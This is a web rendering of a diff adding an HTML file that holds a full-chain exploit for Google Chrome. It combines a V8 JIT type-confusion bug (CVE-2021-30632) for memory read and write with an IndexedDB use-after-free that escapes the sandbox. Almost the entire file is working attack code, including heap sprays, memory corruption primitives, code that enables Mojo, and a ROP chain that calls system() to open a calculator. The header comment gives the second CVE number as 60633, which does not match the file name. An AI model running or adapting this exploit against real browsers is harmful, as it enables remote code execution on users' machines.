🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2021-30632 & 30633/CVE-2021-30632-30633.html
     1 +<!DOCTYPE html>
     2 +<html lang="en">
     3 +<head>
     4 + <title>Chrome fullchain exploit</title>
     5 + <meta name="author" content="@starlabs_sg">
     6 + <!--
     7 + RCE: CVE-2021-30632 - JIT Type Confusion, OOB, PoC by @Zeusb0X
     8 + SBX: CVE-2021-60633 - Mojo IndexedDB, UAF
     9 + 
     10 + Notes:
     11 + - At the time of fixing these bugs, javascript binding of indexeddb was not generated in default, so you have to generate it by yourself.
     12 + - This exploit use some fixed addresses for one version, because we have read/write arbitray we can find these addresses for others version.
     13 + - Clear user-data-dir to re-run exploit or change the database names already used.
     14 + 
     15 + References:
     16 + - https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html
     17 + - https://blog.theori.io/research/escaping-chrome-sandbox/
     18 + -->
     19 +</head>
     20 +<body>
     21 + <pre id='log'></pre>
     22 + <script name="helper">
     23 + function hex(value) {
     24 + return "0x" + ("00000000" + value.toString(16).toUpperCase()).slice(-8);
     25 + }
     26 + 
     27 + function hex64(value) {
     28 + return "0x" + ("0000000000000000" + value.toString(16).toUpperCase()).slice(-16);
     29 + }
     30 + 
     31 + function hexdump(ptr, length) {
     32 + let num = Math.floor(length / 0x10);
     33 + let dump = "";
     34 + for (let i = 0; i < num; ++i) {
     35 + let offset = 0x10 * i;
     36 + let s = "\n" + hex(offset);
     37 + s += ": " + hex(read_ptr(ptr, offset + 0));
     38 + s += ", " + hex(read_ptr(ptr, offset + 4));
     39 + s += ", " + hex(read_ptr(ptr, offset + 8));
     40 + s += ", " + hex(read_ptr(ptr, offset + 12));
     41 + dump += s;
     42 + }
     43 + console.log(dump + "\n");
     44 + }
     45 + 
     46 + function sleep(ms) {
     47 + return new Promise(resolve => setTimeout(resolve, ms));
     48 + }
     49 + 
     50 + function print(str) {
     51 + console.log(str);
     52 + var log = document.getElementById('log');
     53 + if (log) {
     54 + log.innerText += str + '\n';
     55 + }
     56 + }
     57 + </script>
     58 + <script name="const">
     59 + // for enable mojo
     60 + const kGFrameMapPtr = 0x7ffff23b8448n;
     61 + const kEnabledBindingsOffset = 0x4b4n;
     62 + // for bypass sandbox
     63 + const kAllocationCount = 0x88;
     64 + const kExternalObjectSize = 0xb8;
     65 + const kFileSystemAccessTokenOffset = 0x88;
     66 + const kDataHandleOffset = 0x1e0;
     67 + 
     68 + let chrome_base = 0x555555554000n;
     69 + let pop_rax = chrome_base + 0x4cbf0e1n;
     70 + let pop_rdi = chrome_base + 0x4c1621dn;
     71 + let pop_rsi = chrome_base + 0x4db163en;
     72 + let pop_rdx = chrome_base + 0x4c037d2n;
     73 + // let syscall = chrome_base + 0x4bd12c0n;
     74 + let system = 0x7fffb9d4a410n; // system
     75 + let xchg_rax_add_rsp = chrome_base + 0xb269fc4n;
     76 + let nop = chrome_base + 0x4dc1297n;
     77 + </script>
     78 + <script src="mojo_bindings.js"></script>
     79 + <script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
     80 + <script src="third_party/blink/public/mojom/file_system_access/file_system_access_transfer_token.mojom.js"></script>
     81 + <script src="third_party/blink/public/mojom/file_system_access/file_system_access_file_handle.mojom.js"></script>
     82 + <script src="third_party/blink/public/mojom/file_system_access/file_system_access_manager.mojom.js"></script>
     83 + <script src="third_party/blink/public/mojom/indexeddb/indexeddb.mojom.js"></script>
     84 + 
     85 + <script name="sbx">
     86 + function getAllocationConstructor() {
     87 + let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
     88 + Mojo.bindInterface(blink.mojom.BlobRegistry.name,
     89 + mojo.makeRequest(blob_registry_ptr).handle, "process", true);
     90 + 
     91 + function Allocation(size=280) {
     92 + function ProgressClient(allocate) {
     93 + function ProgressClientImpl() {
     94 + }
     95 + ProgressClientImpl.prototype = {
     96 + onProgress: async (arg0) => {
     97 + if (this.allocate.writePromise) {
     98 + this.allocate.writePromise.resolve(arg0);
     99 + }
     100 + }
     101 + };
     102 + this.allocate = allocate;
     103 + 
     104 + this.ptr = new mojo.AssociatedInterfacePtrInfo();
     105 + var progress_client_req = mojo.makeRequest(this.ptr);
     106 + this.binding = new mojo.AssociatedBinding(blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req);
     107 + 
     108 + return this;
     109 + }
     110 + 
     111 + this.done = false;
     112 + this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
     113 + this.progressClient = new ProgressClient(this);
     114 + blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
     115 + this.serialized_blob = res.blob;
     116 + this.done = true;
     117 + });
     118 + 
     119 + this.malloc = async function(data) {
     120 + // console.log("[+] malloc: " + data.byteLength);
     121 + promise = new Promise((resolve, reject) => {
     122 + this.writePromise = {resolve: resolve, reject: reject};
     123 + });
     124 + this.pipe.producer.writeData(data);
     125 + this.pipe.producer.close();
     126 + written = await promise;
     127 + while (!this.done) {
     128 + await sleep(50);
     129 + }
     130 + // console.assert(written == data.byteLength);
     131 + // console.log("[+] " + written + " " + data.byteLength);
     132 + }
     133 + 
     134 + this.free = async function() {
     135 + // print("[+] free blob");
     136 + this.serialized_blob.blob.ptr.reset();
     137 + await sleep(50);
     138 + }
     139 + 
     140 + this.read = function(offset, length) {
     141 + this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
     142 + this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
     143 + return new Promise((resolve) => {
     144 + this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
     145 + result = new ArrayBuffer(length);
     146 + this.readpipe.consumer.readData(result);
     147 + this.readpipe.consumer.close();
     148 + this.watcher.cancel();
     149 + resolve(result);
     150 + });
     151 + });
     152 + }
     153 + 
     154 + this.readQword = async function(offset) {
     155 + let res = await this.read(offset, 8);
     156 + return (new DataView(res)).getBigUint64(0, true);
     157 + }
     158 + 
     159 + this.readSideData = async function() {
     160 + let data = await this.serialized_blob.blob.readSideData();
     161 + return data;
     162 + }
     163 + 
     164 + return this;
     165 + }
     166 + 
     167 + async function allocate(data) {
     168 + let allocation = new Allocation(data.byteLength);
     169 + await allocation.malloc(data);
     170 + return allocation;
     171 + }
     172 + 
     173 + function get_allocation(size) {
     174 + return new Allocation(size);
     175 + }
     176 + 
     177 + return get_allocation;
     178 + }
     179 + 
     180 + function HeapSpray(buffer) {
     181 + this.allocate = getAllocationConstructor();
     182 + this.heap = Array(kAllocationCount);
     183 + this.done = false;
     184 + this.data = buffer;
     185 + 
     186 + for (let i = 0; i < this.heap.length; i++) {
     187 + this.heap[i] = this.allocate(this.data.byteLength);
     188 + }
     189 + 
     190 + this.spray = async function() {
     191 + print("[+] spraying ...");
     192 + 
     193 + // for (let i = 0; i < this.heap.length; i++) {
     194 + // await this.heap[i].malloc(this.data);
     195 + // }
     196 + await Promise.all(this.heap.map((a) => a.malloc(this.data)));
     197 + 
     198 + this.done = true;
     199 + print("[+] spray done!");
     200 + }
     201 + 
     202 + this.get_leak = async function(value) {
     203 + while (!this.done) {
     204 + await sleep(500);
     205 + }
     206 + await sleep(500);
     207 + let results = await Promise.all(this.heap.map((a) => a.readQword(kFileSystemAccessTokenOffset)));
     208 + for (var i = 0; i < results.length; i++) {
     209 + if (results[i] != value) {
     210 + // print("[+] result " + i + ": " + results[i].toString(16));
     211 + let vector = [];
     212 + for (let j = 0; j < 3; j++) {
     213 + vector[j] = await this.heap[i].readQword(kFileSystemAccessTokenOffset + 8 * j);
     214 + }
     215 + return vector;
     216 + }
     217 + }
     218 + return [0n, 0n, 0n];
     219 + }
     220 + 
     221 + this.readSideData = async function() {
     222 + for (let i = 0; i < this.heap.length; i++) {
     223 + await this.heap[i].readSideData();
     224 + }
     225 + }
     226 + }
     227 + 
     228 + async function trigger_uaf(db_name, file_name, heap) {
     229 + let done = false;
     230 + var idbFactoryPtr = new blink.mojom.IDBFactoryPtr();
     231 + Mojo.bindInterface(blink.mojom.IDBFactory.name, mojo.makeRequest(idbFactoryPtr).handle);
     232 + 
     233 + // Open DB
     234 + var idbCallbacks = new mojo.AssociatedInterfacePtrInfo();
     235 + mojo.makeRequest(idbCallbacks);
     236 + 
     237 + var idbDatabaseCallbacks = new mojo.AssociatedInterfacePtrInfo();
     238 + mojo.makeRequest(idbDatabaseCallbacks);
     239 + 
     240 + var idbName = new mojoBase.mojom.String16();
     241 + idbName.data = db_name;
     242 + 
     243 + var idbTransaction = new mojo.AssociatedInterfacePtrInfo();;
     244 + var idbTransactionRequest = mojo.makeRequest(idbTransaction);
     245 + 
     246 + var idbTransactionPtr = new blink.mojom.IDBTransactionAssociatedPtr(idbTransaction);
     247 + 
     248 + // console.log("=== open ===");
     249 + idbFactoryPtr.open(idbCallbacks, idbDatabaseCallbacks, idbName, 5, idbTransactionRequest, 0);
     250 + 
     251 + // create ObjectStore
     252 + // console.log("=== createObjectStore ===");
     253 + var object_store_id = 1;
     254 + var objectStoreName = new mojoBase.mojom.String16();
     255 + objectStoreName.data = "object_store";
     256 + var keypathdata = new blink.mojom.IDBKeyPathData({stringArray: "test"})
     257 + idbTransactionPtr.createObjectStore(object_store_id, objectStoreName, keypathdata, true);
     258 + 
     259 + // Put a IDBValue within ExternalObject as File
     260 + // console.log("=== put ===");
     261 + var fileAccessHandlePtr;
     262 + function FileSystemAccessTransferTokenImpl() {
     263 + this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);
     264 + }
     265 + FileSystemAccessTransferTokenImpl.prototype = {
     266 + clone: async (arg0) => {
     267 + // IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition
     268 + // replace key/value in object store to delete the external object
     269 + // console.log("=== clone ===");
     270 + var value = new blink.mojom.IDBValue();
     271 + value.bits = [0x41, 0x41, 0x41, 0x41];
     272 + value.externalObjects = [];
     273 + var key = new blink.mojom.IDBKey();
     274 + key.string = new mojoBase.mojom.String16();
     275 + key.string.data = "key";
     276 + var mode = blink.mojom.IDBPutMode.AddOrUpdate;
     277 + var index_keys = [];
     278 + idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);
     279 + 
     280 + // commit force put operation
     281 + idbTransactionPtr.commit(0);
     282 + 
     283 + await heap.spray();
     284 + done = true;
     285 + 
     286 + // get token for file handle, control-flow comeback to callback within cached external object ==> UAF
     287 + fileAccessHandlePtr.transfer(arg0);
     288 + }
     289 + };
     290 + 
     291 + var fileSystemAccessManagerPtr = new blink.mojom.FileSystemAccessManagerPtr();
     292 + Mojo.bindInterface(blink.mojom.FileSystemAccessManager.name, mojo.makeRequest(fileSystemAccessManagerPtr).handle, "context"); // work in context scope not in process scope, dont known reason at this time
     293 + fileSystemAccessManagerPtr.getSandboxedFileSystem().then((response) => {
     294 + // get sandbox directory so we can write on it
     295 + // console.log("=== getSandboxedFileSystem ===");
     296 + var directoryHandle = response.directory;
     297 + directoryHandle.getFile(file_name, true).then((res) => {
     298 + // get file handle
     299 + // console.log("=== getFile ===");
     300 + fileAccessHandlePtr = res.file;
     301 + var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
     302 + var fileAccessImpl = new FileSystemAccessTransferTokenImpl();
     303 + var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
     304 + fileAccessImpl.binding.bind(fileAccessRequest);
     305 + 
     306 + // put external object as file
     307 + var external_object = new blink.mojom.IDBExternalObject();
     308 + external_object.fileSystemAccessToken = fileAccessPtr;
     309 + 
     310 + var value = new blink.mojom.IDBValue();
     311 + value.bits = [0x41, 0x41, 0x41, 0x41];
     312 + value.externalObjects = [external_object];
     313 + var key = new blink.mojom.IDBKey();
     314 + key.string = new mojoBase.mojom.String16();
     315 + key.string.data = "key";
     316 + var mode = blink.mojom.IDBPutMode.AddOrUpdate;
     317 + var index_keys = [];
     318 + idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);
     319 + 
     320 + // console.log("=== commit ===");
     321 + idbTransactionPtr.commit(0);
     322 + });
     323 + });
     324 + 
     325 + while (!done) {
     326 + await sleep(50);
     327 + }
     328 + await sleep(500);
     329 + print("[+] trigger_uaf done");
     330 + }
     331 + 
     332 + function get_fake_external_object(free_addrs=[0n, 0n, 0n]) {
     333 + let data = new ArrayBuffer(kExternalObjectSize);
     334 + let uint8 = new Uint8Array(data);
     335 + // for (let i = 0; i < uint8.length; i++) {
     336 + // uint8[i] = 0x41;
     337 + // }
     338 + uint8.fill(0x41);
     339 + let view = new DataView(data);
     340 + view.setUint32(0x0, 0x02, true); // IndexedDBExternalObject::object_type_ = ObjectType::kFileSystemAccessHandle
     341 + view.setBigUint64(kFileSystemAccessTokenOffset, free_addrs[0], true); // IndexedDBExternalObject::file_system_access_token_
     342 + view.setBigUint64(kFileSystemAccessTokenOffset + 0x8, free_addrs[1], true);
     343 + view.setBigUint64(kFileSystemAccessTokenOffset + 0x10, free_addrs[2], true);
     344 + 
     345 + return data;
     346 + }
     347 + 
     348 + function get_pwn_object(fake_obj_addr) {
     349 + let rop = [
     350 + xchg_rax_add_rsp, // stack pivot
     351 + 0xdeadbeefn,
     352 + 0xdeadbeefn,
     353 + nop,
     354 + pop_rax, // mprotect rop chain
     355 + 0x3bn,
     356 + pop_rdi,
     357 + fake_obj_addr + 0xb0n + 0x10n + BigInt(8 * 14),
     358 + pop_rsi,
     359 + 0x0n,
     360 + pop_rdx,
     361 + 0x0n,
     362 + system, // rsp align 0x10
     363 + 0x2323232323232323n, // return
     364 + 0x6e69622f7273752fn, // /usr/bin/xcalc
     365 + 0x636c6163782fn,
     366 + ];
     367 + 
     368 + let data = new ArrayBuffer(504);
     369 + let uint8 = new Uint8Array(data);
     370 + uint8.fill(0x0);
     371 + let view = new DataView(data);
     372 + view.setBigUint64(0x0, 0x4141414141414141n, true);
     373 + view.setBigUint64(0x8, 0xabab000000000001n, true);
     374 + view.setBigUint64(0x28, 0x0000000000000002n, true);
     375 + view.setUint32(0x58, 0x4, true); // BlobDataItem::Type::kReadableDataHandle
     376 + view.setBigUint64(kDataHandleOffset, fake_obj_addr + 0xa0n, true); // BlobDataItem::data_handle_
     377 + view.setBigUint64(0xa0, fake_obj_addr + 0xb0n, true); // mov rax, qword ptr [rdi]
     378 + // call qword ptr [rax + 0x10]
     379 + for (let i = 0; i < rop.length; i++) {
     380 + view.setBigUint64(0xb0 + 0x10 + 8 * i, rop[i], true);
     381 + }
     382 + 
     383 + return data;
     384 + }
     385 + 
     386 + async function exploit() {
     387 + print("[+] Step 1: Get leak vector");
     388 + let heap1 = new HeapSpray(get_fake_external_object());
     389 + await trigger_uaf("first_db", Array(248).fill(0x41).join(''), heap1); // spray with size of target vector == 504
     390 + 
     391 + let leak1 = await heap1.get_leak(0n);
     392 + print("[+] leak1: " + leak1.map(a => "0x" + a.toString(16)));
     393 + 
     394 + let fake_pwn_object = get_pwn_object(leak1[0]);
     395 + let heap5 = new HeapSpray(fake_pwn_object);
     396 + 
     397 + // free leak memory
     398 + print("[+] Step 2: Free leak memory")
     399 + let heap2 = new HeapSpray(get_fake_external_object(leak1));
     400 + await trigger_uaf("second_db", "haha", heap2);
     401 + 
     402 + // let leak2 = await heap2.get_leak(leak1[0]);
     403 + // print("[+] leak2: " + leak2.map(a => a.toString(16)));
     404 + // await heap2.free_all();
     405 + 
     406 + // spray DataHandle into leak memory
     407 + print("[+] Step 3: Spray DataHandle");
     408 + let heap3 = new HeapSpray(get_fake_external_object());
     409 + await heap3.spray();
     410 + let leak3 = await heap3.get_leak(0n);
     411 + print("[+] leak3: " + leak3.map(a => "0x" + a.toString(16)));
     412 + 
     413 + print("[+] Step 4: Free leak memory again");
     414 + let heap4 = new HeapSpray(get_fake_external_object(leak1));
     415 + await trigger_uaf("weird_third_db", "hoho", heap4); // dont known weird db name
     416 + 
     417 + print("[+] Step 5: Spray replace DataHandle");
     418 + await heap5.spray();
     419 + 
     420 + print("[+] Step 6: Trigger virtual call");
     421 + await heap3.readSideData();
     422 + 
     423 + print("[+] Done");
     424 + }
     425 + </script>
     426 + <script name="main-rce">
     427 + // We need to start with stable JSArray maps
     428 + class Box extends Array
     429 + {
     430 + constructor(...args) {
     431 + super(...args);
     432 + }
     433 + };
     434 + 
     435 + var a = new Box(1,2,3);
     436 + 
     437 + function set_smi_arr(smi_arr,x) {
     438 + for (let i = 0; i < 0x200; ++i) {
     439 + ++i;
     440 + }
     441 + if (x) {
     442 + a = smi_arr;
     443 + }
     444 + }
     445 + 
     446 + function set_double_arr(double_arr,x) {
     447 + for (let i = 0; i < 0x200; ++i) {
     448 + ++i;
     449 + }
     450 + if (x) {
     451 + a = double_arr;
     452 + }
     453 + }
     454 + 
     455 + function leak_elems_and_len() {
     456 + for (let i = 0; i < 0x200; ++i) {
     457 + ++i;
     458 + }
     459 + return a[11];
     460 + }
     461 + 
     462 + function set_elems_and_len(d) {
     463 + for (let i = 0; i < 0x200; ++i) {
     464 + ++i;
     465 + }
     466 + a[11] = d;
     467 + }
     468 + 
     469 + function read_corrupted_arr(corrupted_arr,idx) {
     470 + for (let i = 0; i < 0x200; ++i) {
     471 + ++i;
     472 + }
     473 + return corrupted_arr[idx];
     474 + }
     475 + 
     476 + function write_corrupted_arr(corrupted_arr,idx,val) {
     477 + for (let i = 0; i < 0x200; ++i) {
     478 + ++i;
     479 + }
     480 + corrupted_arr[idx] = val;
     481 + }
     482 + 
     483 + var b1 = new Box(1,2,3,4);
     484 + set_smi_arr(b1, true);
     485 + 
     486 + a.x = 1;
     487 + delete a.x;
     488 + 
     489 + for (var i = 0; i < 0x3000; ++i) {
     490 + set_smi_arr(b1, false);
     491 + }
     492 + 
     493 + a[0] = 1.1;
     494 + var b2 = new Box(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12);
     495 + set_double_arr(b2, true);
     496 + 
     497 + for (var i = 0; i < 0x3000; ++i) {
     498 + set_double_arr(b2, false);
     499 + }
     500 + 
     501 + for (var i = 0; i < 0x3000; ++i) {
     502 + leak_elems_and_len();
     503 + set_elems_and_len(12.13);
     504 + read_corrupted_arr(b2, 0);
     505 + write_corrupted_arr(b2, 0, 1.1);
     506 + }
     507 + 
     508 + let target_buffer = new ArrayBuffer(0x1000);
     509 + let target_view = new DataView(target_buffer);
     510 + var oob_arr = new Box(1,2,3,4,5,6,7,8,9,10,11,12);
     511 + var corrupted_arr = new Box(1.1,1.2);
     512 + // var leaks = [wi,sb];
     513 + var leaks = new Array(0x10);
     514 + leaks.fill(0x1);
     515 + // leaks[0] = target_buffer;
     516 + // leaks[1] = 0x4141414141;
     517 + // leaks[2] = window;
     518 + 
     519 + set_smi_arr(oob_arr, true);
     520 + 
     521 + var ab = new ArrayBuffer(8);
     522 + var f64 = new Float64Array(ab);
     523 + var u32 = new Uint32Array(ab);
     524 + 
     525 + let convert_buffer = new ArrayBuffer(8);
     526 + let b32 = new Uint32Array(convert_buffer);
     527 + let b64 = new BigUint64Array(convert_buffer);
     528 + 
     529 + f64[0] = leak_elems_and_len();
     530 + u32[1] = 0x42424242; // len
     531 + var init = f64[0];
     532 + set_elems_and_len(f64[0]);
     533 + 
     534 + function addrOf(obj) {
     535 + leaks[0] = obj;
     536 + f64[0] = init;
     537 + set_elems_and_len(f64[0]);
     538 + f64[0] = read_corrupted_arr(corrupted_arr, 6);
     539 + return u32[0];
     540 + }
     541 + 
     542 + // read at compressed pointer
     543 + function read_ptr(ptr, offset) {
     544 + let index = Math.floor(offset / 8);
     545 + f64[0] = init;
     546 + u32[0] = ptr;
     547 + set_elems_and_len(f64[0]);
     548 + 
     549 + f64[0] = read_corrupted_arr(corrupted_arr, index);
     550 + return u32[(offset / 4) % 2 ? 1 : 0];
     551 + }
     552 + 
     553 + function read_ptr64(ptr, offset) {
     554 + b32[0] = read_ptr(ptr, offset);
     555 + b32[1] = read_ptr(ptr, offset + 0x4);
     556 + return b64[0];
     557 + }
     558 + 
     559 + // write to compressed pointer
     560 + function write_ptr(ptr, offset, value) {
     561 + let index = Math.floor(offset / 8);
     562 + f64[0] = init;
     563 + u32[0] = ptr;
     564 + set_elems_and_len(f64[0]);
     565 + 
     566 + f64[0] = read_corrupted_arr(corrupted_arr, index);
     567 + u32[(offset / 4) % 2 ? 1 : 0] = value;
     568 + write_corrupted_arr(corrupted_arr, index, f64[0]);
     569 + }
     570 + 
     571 + function write_ptr64(ptr, offset, value) {
     572 + b64[0] = value;
     573 + write_ptr(ptr, offset, b32[0]);
     574 + write_ptr(ptr, offset + 0x4, b32[1]);
     575 + }
     576 + 
     577 + function getUint64(addr) {
     578 + write_ptr64(target_ptr, 0x14, addr);
     579 + return target_view.getBigUint64(0, true);
     580 + }
     581 + 
     582 + function setUint64(addr, value) {
     583 + write_ptr64(target_ptr, 0x14, addr);
     584 + target_view.setBigUint64(0, value, true);
     585 + }
     586 + 
     587 + function getUint32(addr) {
     588 + write_ptr64(target_ptr, 0x14, addr);
     589 + return target_view.getUint32(0, true);
     590 + }
     591 + 
     592 + function setUint32(addr, value) {
     593 + write_ptr64(target_ptr, 0x14, addr);
     594 + target_view.setUint32(0, value, true);
     595 + }
     596 + 
     597 + let target_ptr = addrOf(target_buffer);
     598 + print("[+] target_ptr: " + hex(target_ptr));
     599 + 
     600 + let target_store_ptr = read_ptr64(target_ptr, 0x14);
     601 + // print("[+] target_store_ptr: " + hex64(target_store_ptr));
     602 + 
     603 + async function enable_mojo() {
     604 + let window_ptr = addrOf(window);
     605 + print("[+] window_ptr: " + hex(window_ptr));
     606 + 
     607 + // hexdump(window_ptr, 0x100);
     608 + 
     609 + let g_frame_map_ptr = kGFrameMapPtr;
     610 + while(getUint64(g_frame_map_ptr) != g_frame_map_ptr + 0x8n) {
     611 + await sleep(500);
     612 + }
     613 + 
     614 + let node_ptr = getUint64(g_frame_map_ptr + 0x8n);
     615 + print("[+] node_ptr: " + hex64(node_ptr));
     616 + 
     617 + let render_frame_ptr = getUint64(node_ptr + 0x28n);
     618 + print("[+] render_frame_ptr: " + hex64(render_frame_ptr));
     619 + 
     620 + let enabled_bindings = getUint32(render_frame_ptr + kEnabledBindingsOffset);
     621 + print("[+] enabled_bindings: " + hex(enabled_bindings));
     622 + 
     623 + setUint32(render_frame_ptr + kEnabledBindingsOffset, 0x2);
     624 + 
     625 + print("[+] reloading ...");
     626 + window.location.reload();
     627 + }
     628 + 
     629 + if (typeof(Mojo) !== "undefined") {
     630 + print("[+] Start exploit");
     631 + exploit();
     632 + }
     633 + else {
     634 + enable_mojo();
     635 + }
     636 + 
     637 + 
     638 + </script>
     639 +</body>
     640 +</html>
Please wait...
Page is in error, reload to recover